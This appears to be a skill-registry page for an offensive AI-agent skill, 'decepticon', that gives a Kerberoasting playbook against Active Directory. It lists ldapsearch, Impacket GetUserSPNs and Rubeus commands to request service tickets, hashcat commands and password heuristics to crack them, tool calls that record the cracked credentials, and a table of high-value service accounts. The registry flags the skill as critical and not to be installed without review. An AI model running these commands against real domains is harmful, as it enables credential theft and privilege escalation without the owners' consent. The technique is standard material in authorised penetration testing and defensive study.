Request Kerberos TGS tickets for SPN-bound service accounts and crack offline with hashcat — classic AD priv-esc primitive.
61
73%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/ad/kerberoasting/SKILL.mdAny valid domain user. No special privileges required.
From BloodHound ingest:
kg_query(kind="user", filter="hasspn=true and enabled=true")Or LDAP-direct:
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
-b 'DC=corp,DC=local' \
'(&(samAccountType=805306368)(servicePrincipalName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \
sAMAccountName servicePrincipalName > /tmp/spns.txtImpacket (most reliable):
GetUserSPNs.py DOM/USER:'PASS' -dc-ip DC_IP -request \
-outputfile /tmp/kerb.hashesRubeus (from Windows beachhead):
Rubeus.exe kerberoast /outfile:C:\Windows\Temp\k.txt /nowrapModern hashes are $krb5tgs$23$*user$DOM$spn*$<ciphertext> (RC4). If
forest is Win2012+, AES tickets may come back as $krb5tgs$18$*….
# RC4 (mode 13100)
hashcat -m 13100 -a 0 /tmp/kerb.hashes /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# AES256 (mode 19700)
hashcat -m 19700 -a 0 /tmp/kerb.hashes wordlist.txt
# Targeted rules for service-account passwords (often pattern-based)
hashcat -m 13100 -a 6 /tmp/kerb.hashes wordlist.txt '?d?d?d?d' \
--rules-file /usr/share/hashcat/rules/d3ad0ne.ruleService-account heuristics: 60-70% of kerberoasted accounts use:
SQLSvc2024!, IISWinter25)kg_add_node(kind="credential", label="USER:CRACKED_PASSWORD",
props={"source":"kerberoast","crack_time":"<n>m","mode":"hashcat-m13100"})
kg_add_edge(src=<cred>, dst=<user>, kind="authenticates")Whatever the service account can reach is now yours:
Ticket Encryption Type=0x17 (RC4) when the
service supports AES is anomalous-no-preauth to avoid lockout if doing manual TGS via kinitCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.0| SPN prefix | Likely account | Typical impact |
|---|---|---|
MSSQLSvc/ | SQL service account | Often local admin on DB host |
HTTP/sccm* | SCCM service | Often Domain Admin (misconfig) |
MSOLAPSvc.3/ | SSAS | Local admin on analysis server |
kadmin/changepw | KDC account | RARE — high value if hit |
exchangeMDB/ | Exchange recovery | Sometimes priv group |
0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.